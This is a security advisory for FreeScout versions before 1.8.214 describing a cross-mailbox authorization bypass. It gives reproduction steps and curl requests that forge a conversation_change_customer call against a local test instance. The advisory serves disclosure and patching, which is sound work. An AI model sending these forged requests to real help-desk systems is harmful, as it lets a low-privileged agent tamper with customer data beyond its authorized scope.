Conversation Change-Customer Cross-Mailbox Authorization Bypass

High **freescout-help-desk** published **GHSA-p6hg-2cwg-rrx9** 2 weeks ago

Package

No package listed

Affected versions

<1.8.214

Patched versions

1.8.214

Description

The Change Customer modal correctly hides out-of-scope customers through the mailbox-filtered search endpoint, but the backend conversation_change_customer action accepts any supplied customer_email. A
low-privileged agent can forge a request and bind a visible conversation to a hidden customer in another mailbox.

Affected upstream code:

- upstream/freescout-upstream/public/js/main.js:2917
- upstream/freescout-upstream/app/Http/Controllers/CustomersController.php:301
- upstream/freescout-upstream/app/Http/Controllers/ConversationsController.php:1835
- upstream/freescout-upstream/app/Conversation.php:1233

Steps to reproduce:

1. Set APP_LIMIT_USER_CUSTOMER_VISIBILITY = True
2. Note the visible conversation ID.
3. Log in as agent@example.test.
4. Query the customer selector for target.hidden@example.test and confirm it returns no results.
5. Forge conversation_change_customer directly with customer_email=target.hidden@example.test.
6. Verify the visible conversation now points at the hidden customer.

Curl:

```
VISIBLE_CONVERSATION_ID=<visible_conversation_id>

curl -sS -G \
  -b cookies.txt \
  --data-urlencode 'q=target.hidden@example.test' \
  --data-urlencode 'exclude_email=source.visible@example.test' \
  --data-urlencode 'search_by=all' \
  --data-urlencode 'page=1' \
  http://127.0.0.1:8002/customers/ajax-search

curl -sS \
  -b cookies.txt -c cookies.txt \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H "X-CSRF-TOKEN: $LOGIN_CSRF" \
  --data-urlencode 'action=conversation_change_customer' \
  --data-urlencode "conversation_id=$VISIBLE_CONVERSATION_ID" \
  --data-urlencode 'customer_email=target.hidden@example.test' \
  http://127.0.0.1:8002/conversation/ajax
```

Expected result:

- Search returns {"results":[],"pagination":{"more":false}}
- Forged request returns {"status":"success","msg":""}
- Visible conversation DB row is rebound to the hidden customer

Credits:
Vishal Shukla (@**shukla304**) and sechub.dev AI Agent

Severity

High 7.1 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	High
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

CVE ID

CVE-2026-41906

Weaknesses

▶ CWE-639

Credits

shukla304 Reporter